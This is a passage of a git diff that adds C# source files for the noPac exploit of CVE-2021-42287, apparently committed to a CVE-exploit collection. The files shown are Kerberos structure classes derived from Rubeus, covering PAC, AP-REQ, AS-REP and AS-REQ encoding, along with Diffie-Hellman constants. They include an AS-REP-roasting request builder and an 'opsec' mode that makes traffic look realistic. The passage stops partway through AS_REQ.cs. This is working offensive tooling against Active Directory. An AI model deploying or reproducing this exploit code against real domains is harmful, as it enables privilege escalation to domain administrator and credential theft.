0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, + 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAC, 0xAA, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF + }; + + public static readonly byte[] Generator = new byte[] + { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 + }; + + public static readonly byte[] Factor = new byte[] + { + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x34, 0x55, 0x56, 0x45, 0x2d, 0x47, 0xb9, 0x0a, + 0x88, 0x02, 0x7d, 0x4c, 0x0c, 0x13, 0xe9, 0x8a, 0x72, 0xb5, 0x4a, 0x75, 0xbe, 0xa4, 0xca, 0x1c, + 0x8c, 0x0b, 0xac, 0x4a, 0xfb, 0xe5, 0x15, 0xef, 0x64, 0x29, 0xa6, 0x37, 0xf8, 0xae, 0xe2, 0xda, + 0x47, 0xd1, 0x03, 0x76, 0xd1, 0xc1, 0x93, 0xcd, 0x01, 0x43, 0x07, 0x0c, 0x96, 0x3b, 0xcf, 0xf1, + 0x1d, 0x67, 0x1b, 0x17, 0x23, 0x2f, 0x48, 0x19, 0xbe, 0x10, 0x0c, 0x65, 0x04, 0x36, 0xba, 0x78, + 0x02, 0x4c, 0x5e, 0x25, 0xa7, 0x1a, 0x86, 0xb3, 0x36, 0x4b, 0x4b, 0xb8, 0x83, 0x94, 0x6a, 0xcf, + 0x5d, 0xa9, 0x42, 0x10, 0xab, 0x79, 0x31, 0x0e, 0xcb, 0xd6, 0x51, 0xee, 0x91, 0xae, 0xb2, 0xc1, + 0xaf, 0x67, 0x92, 0x7e, 0xd4, 0x1f, 0x8b, 0x34, 0xcd, 0xe9, 0x2a, 0x0e, 0x1b, 0x24, 0x6d, 0xcc, + 0x82, 0xdf, 0xb1, 0x50, 0x5c, 0x3e, 0x00, 0xe1, 0x9e, 0x2d, 0x72, 0xf6, 0x28, 0x33, 0x94, 0x24, + 0xf3, 0x8f, 0x25, 0xbe, 0x08, 0x92, 0x4f, 0xd7, 0xd2, 0xcf, 0x44, 0xad, 0xfd, 0x35, 0x1c, 0xf7, + 0xf6, 0x5b, 0x03, 0x7a, 0x5b, 0xae, 0xff, 0x85, 0xb5, 0xf6, 0x1b, 0xd3, 0x74, 0x21, 0x26, 0x7a, + 0x63, 0x3f, 0x2f, 0x31, 0xbb, 0xda, 0x42, 0xf2, 0x22, 0xe1, 0xa8, 0xb6, 0xb6, 0x9a, 0xf0, 0xa7, + 0x1b, 0x8a, 0x2f, 0xf9, 0x36, 0x85, 0x15, 0x98, 0x8d, 0x21, 0x9d, 0xe6, 0xd9, 0x8c, 0xca, 0xf7, + 0x6e, 0x02, 0x1a, 0xc7, 0x3c, 0x04, 0xa5, 0x28, 0x91, 0xcd, 0x89, 0x1d, 0x53, 0xdf, 0x05, 0x01, + 0x3a, 0xe6, 0x33, 0x45, 0x04, 0x27, 0x81, 0x94, 0x68, 0x0e, 0x6e, 0xc0, 0x45, 0x31, 0x63, 0x62, + 0x1a, 0x61, 0xb4, 0x10, 0x51, 0xed, 0x87, 0xe4, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f + }; + } + + public static class Group2 + { + public static readonly byte[] Prime = new byte[] + { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF + }; + + public static readonly byte[] Generator = new byte[] + { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 + }; + + public static readonly byte[] Factor = new byte[] + { + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x29, 0x73, 0xf6, 0x28, 0x33, 0x94, 0x24, + 0xf3, 0x8f, 0x25, 0xbe, 0x08, 0x92, 0x4f, 0xd7, 0xd2, 0xcf, 0x44, 0xad, 0xfd, 0x35, 0x1c, 0xf7, + 0xf6, 0x5b, 0x03, 0x7a, 0x5b, 0xae, 0xff, 0x85, 0xb5, 0xf6, 0x1b, 0xd3, 0x74, 0x21, 0x26, 0x7a, + 0x63, 0x3f, 0x2f, 0x31, 0xbb, 0xda, 0x42, 0xf2, 0x22, 0xe1, 0xa8, 0xb6, 0xb6, 0x9a, 0xf0, 0xa7, + 0x1b, 0x8a, 0x2f, 0xf9, 0x36, 0x85, 0x15, 0x98, 0x8d, 0x21, 0x9d, 0xe6, 0xd9, 0x8c, 0xca, 0xf7, + 0x6e, 0x02, 0x1a, 0xc7, 0x3c, 0x04, 0xa5, 0x28, 0x91, 0xcd, 0x89, 0x1d, 0x53, 0xdf, 0x05, 0x01, + 0x3a, 0xe6, 0x33, 0x45, 0x04, 0x27, 0x81, 0x94, 0x68, 0x0e, 0x6e, 0xc0, 0x45, 0x31, 0x63, 0x62, + 0x1a, 0x61, 0xb4, 0x10, 0x51, 0xed, 0x87, 0xe4, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f + }; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADIfRelevant.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADIfRelevant.cs new file mode 100644 index 0000000..9f8dea1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADIfRelevant.cs @@ -0,0 +1,113 @@ +using System; +using System.Collections.Generic; +using Asn1; + +namespace Rubeus +{ + public class ADIfRelevant : AuthorizationData + { + public List ADData { get; set; } + + public ADIfRelevant() + { + ad_type = Interop.AuthorizationDataType.AD_IF_RELEVANT; + ADData = new List(); + } + public ADIfRelevant(byte[] data) + { + ad_type = Interop.AuthorizationDataType.AD_IF_RELEVANT; + ADData = new List(); + ad_data = data; + } + + public ADIfRelevant(AuthorizationData data) + { + ad_type = Interop.AuthorizationDataType.AD_IF_RELEVANT; + ADData = new List(); + ADData.Add(data); + } + + public ADIfRelevant(List data) + { + ad_type = Interop.AuthorizationDataType.AD_IF_RELEVANT; + ADData = data; + } + + public ADIfRelevant(AsnElt data, byte[] asrepKey = null) + { + Decode(data, asrepKey); + } + + protected override void Decode(AsnElt data) + { + Decode(data, null); + } + + protected override void Decode(AsnElt data, byte[] asrepKey = null) + { + foreach (AsnElt s in data.Sub) + { + switch (s.TagValue) + { + case 0: + ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger(); + break; + case 1: + ADData = new List(); + foreach (AsnElt i in AsnElt.Decode(s.Sub[0].GetOctetString()).Sub) + { + switch (i.Sub[0].TagValue) + { + case 0: + switch ((Interop.AuthorizationDataType)i.Sub[0].Sub[0].GetInteger()) + { + case Interop.AuthorizationDataType.AD_IF_RELEVANT: + ADData.Add(new ADIfRelevant(AsnElt.Decode(s.Sub[0].GetOctetString()).Sub[0])); + break; + case Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS: + ADData.Add(new ADRestrictionEntry(AsnElt.Decode(i.Sub[1].Sub[0].GetOctetString()).Sub[0])); + break; + case Interop.AuthorizationDataType.KERB_LOCAL: + ADData.Add(new ADKerbLocal(i.Sub[1].Sub[0].GetOctetString())); + break; + case Interop.AuthorizationDataType.AD_WIN2K_PAC: + ADData.Add(new ADWin2KPac(AsnElt.Decode(s.Sub[0].GetOctetString()).Sub[0], asrepKey)); + break; + default: + break; + } + break; + } + } + break; + default: + break; + } + } + } + + public override AsnElt Encode() + { + + // ad-data [1] OCTET STRING + if (ADData.Count > 0) + { + List adList = new List(); + + foreach (AuthorizationData ad in ADData) + { + AsnElt addrElt = ad.Encode(); + adList.Add(addrElt); + } + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, adList.ToArray()); + ad_data = seq.Encode(); + } + else if (ad_data.Length < 1) + { + ad_data = new byte[0]; + } + + return ADEncode(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADKerbLocal.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADKerbLocal.cs new file mode 100644 index 0000000..46e344e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADKerbLocal.cs @@ -0,0 +1,60 @@ +using System; +using Asn1; + +namespace Rubeus +{ + public class ADKerbLocal : AuthorizationData + { + public byte[] LocalData { get; set; } + + public ADKerbLocal() + { + ad_type = Interop.AuthorizationDataType.KERB_LOCAL; + + // random KERB-LOCAL + var rand = new Random(); + byte[] randomBytes = new byte[16]; + rand.NextBytes(randomBytes); + ad_data = randomBytes; + } + public ADKerbLocal(byte[] data) + { + ad_type = Interop.AuthorizationDataType.KERB_LOCAL; + ad_data = data; + } + + public ADKerbLocal(AsnElt data) + { + Decode(data); + } + + protected override void Decode(AsnElt data, byte[] junk = null) + { + Decode(data); + } + + protected override void Decode(AsnElt data) + { + foreach (AsnElt s in data.Sub) + { + switch (s.TagValue) + { + case 0: + ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger(); + break; + case 1: + ad_data = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public override AsnElt Encode() + { + return ADEncode(); + } + } +} + diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADRestrictionEntry.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADRestrictionEntry.cs new file mode 100644 index 0000000..c2b09f7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADRestrictionEntry.cs @@ -0,0 +1,128 @@ +using Asn1; +using System; + +namespace Rubeus +{ + // KERB-AD-RESTRICTION-ENTRY ::= SEQUENCE { + // restriction-type[0] Int32, + // restriction[1] OCTET STRING + // } + public class ADRestrictionEntry : AuthorizationData + { + public ADRestrictionEntry() + { + ad_type = Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS; + + restriction_type = 0; + + Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags = Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS.UAC_RESTRICTED; + Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL = Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL.MEDIUM; + + restriction = buildTokenStruct(flags, tokenIL); + + + } + + public ADRestrictionEntry(byte[] data) + { + ad_type = Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS; + + restriction_type = 0; + + restriction = data; + } + + public ADRestrictionEntry(Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags, Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL) + { + ad_type = Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS; + + restriction_type = 0; + + restriction = buildTokenStruct(flags, tokenIL); + } + + public ADRestrictionEntry(AsnElt data) + { + Decode(data); + } + + private byte[] buildTokenStruct(Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags, Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL) + { + // LSAP_TOKEN_INFO_INTEGRITY struct + Interop.LSAP_TOKEN_INFO_INTEGRITY tokenInfo; + tokenInfo.Flags = flags; + tokenInfo.TokenIL = tokenIL; + + // random machine ID + var rand = new Random(); + tokenInfo.machineID = new byte[32]; + rand.NextBytes(tokenInfo.machineID); + + // get struct bytes + byte[] data = new byte[40]; + data[0] = (byte)((int)tokenInfo.Flags >> 24); + data[1] = (byte)((int)tokenInfo.Flags >> 16); + data[2] = (byte)((int)tokenInfo.Flags >> 8); + data[3] = (byte)((int)tokenInfo.Flags); + data[4] = (byte)((int)tokenInfo.TokenIL >> 24); + data[5] = (byte)((int)tokenInfo.TokenIL >> 16); + data[6] = (byte)((int)tokenInfo.TokenIL >> 8); + data[7] = (byte)((int)tokenInfo.TokenIL); + for (int j = 0; j < 32; ++j) + { + data[j + 8] = tokenInfo.machineID[j]; + } + + return data; + } + + protected override void Decode(AsnElt data, byte[] junk = null) + { + Decode(data); + } + + protected override void Decode(AsnElt data) + { + ad_type = Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS; + foreach (AsnElt s in data.Sub) + { + switch (s.TagValue) + { + case 0: + restriction_type = s.Sub[0].GetInteger(); + break; + case 1: + restriction = s.Sub[0].CopyValue(); + break; + default: + break; + } + } + } + + public override AsnElt Encode() + { + // KERB-AD-RESTRICTION-ENTRY encoding + // restriction-type [0] Int32 + AsnElt adRestrictionEntryElt = AsnElt.MakeInteger(restriction_type); + AsnElt adRestrictionEntrySeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adRestrictionEntryElt }); + adRestrictionEntrySeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, adRestrictionEntrySeq); + + // restriction [1] OCTET STRING + AsnElt adRestrictionEntryDataElt = AsnElt.MakeBlob(restriction); + AsnElt adRestrictionEntryDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adRestrictionEntryDataElt }); + adRestrictionEntryDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, adRestrictionEntryDataSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { adRestrictionEntrySeq, adRestrictionEntryDataSeq }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, seq); + + ad_data = seq2.Encode(); + + return ADEncode(); + } + + public long restriction_type { get; set; } + + public byte[] restriction { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADWin2KPac.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADWin2KPac.cs new file mode 100644 index 0000000..a57d280 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/ADWin2KPac.cs @@ -0,0 +1,74 @@ +using System; +using Asn1; +using Rubeus.Kerberos; + +namespace Rubeus +{ + public class ADWin2KPac : AuthorizationData + { + public PACTYPE Pac { get; set; } + + public ADWin2KPac() + { + ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; + + ad_data = null; + } + public ADWin2KPac(byte[] data) + { + ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; + Pac = new PACTYPE(data, null); + } + + public ADWin2KPac(byte[] data, byte[] asrepKey) + { + ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; + Pac = new PACTYPE(data, asrepKey); + } + + public ADWin2KPac(PACTYPE pac) + { + ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; + Pac = pac; + } + + public ADWin2KPac(AsnElt data, byte[] asrepKey = null) + { + Decode(data, asrepKey); + } + + protected override void Decode(AsnElt data) + { + Decode(data, null); + } + + protected override void Decode(AsnElt data, byte[] asrepKey = null) + { + foreach (AsnElt s in data.Sub) + { + switch (s.TagValue) + { + case 0: + ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger(); + break; + case 1: + ad_data = s.Sub[0].CopyValue(); + Pac = new PACTYPE(ad_data, asrepKey); + break; + default: + break; + } + } + } + + public override AsnElt Encode() + { + if (Pac != null) + { + ad_data = Pac.Encode(); + } + + return ADEncode(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AP_REQ.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AP_REQ.cs new file mode 100644 index 0000000..1803d60 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AP_REQ.cs @@ -0,0 +1,116 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Rubeus +{ + //AP-REQ ::= [APPLICATION 14] SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (14), + // ap-options [2] APOptions, + // ticket [3] Ticket, + // authenticator [4] EncryptedData -- Authenticator + //} + + public class AP_REQ + { + public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, int keyUsageSpec = Interop.KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR) + { + pvno = 5; + + msg_type = (long)Interop.KERB_MESSAGE_TYPE.AP_REQ; + + ap_options = 0; + + ticket = providedTicket; + + // KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7 + // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11 + keyUsage = keyUsageSpec; + + enctype = etype; + key = clientKey; + + authenticator = new Authenticator(); + authenticator.crealm = crealm; + authenticator.cname = new PrincipalName(cname); + } + + public AsnElt Encode() + { + // pvno [0] INTEGER (5) + AsnElt pvnoASN = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoASN }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + + + // msg-type [1] INTEGER (14) + AsnElt msg_typeASN = AsnElt.MakeInteger(msg_type); + AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_typeASN }); + msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); + + + // ap-options [2] APOptions + byte[] ap_optionsBytes = BitConverter.GetBytes(ap_options); + AsnElt ap_optionsASN = AsnElt.MakeBitString(ap_optionsBytes); + AsnElt ap_optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ap_optionsASN }); + ap_optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ap_optionsSeq); + + + // ticket [3] Ticket + AsnElt ticketASN = ticket.Encode(); + AsnElt ticktSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ticketASN }); + ticktSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, ticktSeq); + + + // authenticator [4] EncryptedData + if (key == null) + { + Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ"); + return null; + } + + byte[] authenticatorBytes = authenticator.Encode().Encode(); + + byte[] encBytes = Crypto.KerberosEncrypt(enctype, keyUsage, key, authenticatorBytes); + + // create the EncryptedData structure to hold the authenticator bytes + EncryptedData authenticatorEncryptedData = new EncryptedData(); + authenticatorEncryptedData.etype = (int)enctype; + authenticatorEncryptedData.cipher = encBytes; + + AsnElt authenticatorEncryptedDataASN = authenticatorEncryptedData.Encode(); + AsnElt authenticatorEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authenticatorEncryptedDataASN }); + authenticatorEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authenticatorEncryptedDataSeq); + + // encode it all into a sequence + AsnElt[] total = new[] { pvnoSeq, msg_typeSeq, ap_optionsSeq, ticktSeq, authenticatorEncryptedDataSeq }; + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); + + // AP-REQ ::= [APPLICATION 14] + // put it all together and tag it with 14 + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 14, totalSeq); + + return totalSeq; + } + + + public long pvno { get; set;} + + public long msg_type { get; set; } + + public UInt32 ap_options { get; set; } + + public Ticket ticket { get; set; } + + public Authenticator authenticator { get; set; } + + public byte[] key { get; set; } + + private Interop.KERB_ETYPE enctype; + + private int keyUsage; + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AS_REP.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AS_REP.cs new file mode 100644 index 0000000..29b990a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AS_REP.cs @@ -0,0 +1,105 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + public class AS_REP + { + //AS-REP ::= [APPLICATION 11] KDC-REP + + //KDC-REP ::= SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (11 -- AS), + // padata [2] SEQUENCE OF PA-DATA OPTIONAL + // -- NOTE: not empty --, + // crealm [3] Realm, + // cname [4] PrincipalName, + // ticket [5] Ticket, + // enc-part [6] EncryptedData + // -- EncASRepPart + //} + + public AS_REP(byte[] data) + { + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt asn_AS_REP = AsnElt.Decode(data, false); + + this.Decode(asn_AS_REP); + } + + public AS_REP(AsnElt asn_AS_REP) + { + this.Decode(asn_AS_REP); + } + + private void Decode(AsnElt asn_AS_REP) + { + // AS-REP::= [APPLICATION 11] KDC-REQ + if (asn_AS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REP) + { + throw new System.Exception("AS-REP tag value should be 11"); + } + + if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16)) + { + throw new System.Exception("First AS-REP sub should be a sequence"); + } + + // extract the KDC-REP out + AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub; + padata = new List(); + + foreach (AsnElt s in kdc_rep) + { + switch (s.TagValue) + { + case 0: + pvno = s.Sub[0].GetInteger(); + break; + case 1: + msg_type = s.Sub[0].GetInteger(); + break; + case 2: + // sequence of pa-data + foreach(AsnElt pad in s.Sub) { + padata.Add(new PA_DATA(pad.Sub[0])); + } + break; + case 3: + crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 4: + cname = new PrincipalName(s.Sub[0]); + break; + case 5: + ticket = new Ticket(s.Sub[0].Sub[0]); + break; + case 6: + enc_part = new EncryptedData(s.Sub[0]); + break; + default: + break; + } + } + } + + // won't really every need to *create* a AS reply, so no encode + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public List padata { get; set; } + + public string crealm { get; set; } + + public PrincipalName cname { get; set; } + + public Ticket ticket { get; set; } + + public EncryptedData enc_part { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AS_REQ.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AS_REQ.cs new file mode 100644 index 0000000..1ee7ef2 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AS_REQ.cs @@ -0,0 +1,301 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Security.Cryptography.X509Certificates; + +namespace Rubeus +{ + //AS-REQ ::= [APPLICATION 10] KDC-REQ + + //KDC-REQ ::= SEQUENCE { + // -- NOTE: first tag is [1], not [0] + // pvno [1] INTEGER (5) , + // msg-type [2] INTEGER (10 -- AS), + // padata [3] SEQUENCE OF PA-DATA OPTIONAL + // -- NOTE: not empty --, + // req-body [4] KDC-REQ-BODY + //} + + public class AS_REQ + { + public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE etype, bool opsec = false) + { + // build a new AS-REQ for the given userName, domain, and etype, but no PA-ENC-TIMESTAMP + // used for AS-REP-roasting + + AS_REQ req = new AS_REQ(opsec); + + // set the username to roast + req.req_body.cname.name_string.Add(userName); + + // the realm (domain) the user exists in + req.req_body.realm = domain; + + // KRB_NT_SRV_INST = 2 + // service and other unique instance (krbtgt) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add("krbtgt"); + req.req_body.sname.name_string.Add(domain); + + // try to build a realistic request + if (opsec) + { + string hostName = Dns.GetHostName(); + List addresses = new List(); + addresses.Add(new HostAddress(hostName)); + req.req_body.addresses = addresses; + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_md5); + + } + else + { + // add in our encryption type + req.req_body.etypes.Add(etype); + } + + return req; + } + + public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool changepw = false, bool pac = true) + { + // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP + // used for "legit" AS-REQs w/ pre-auth + + // set pre-auth + AS_REQ req = new AS_REQ(keyString, etype, opsec, pac); + + // req.padata.Add() + + // 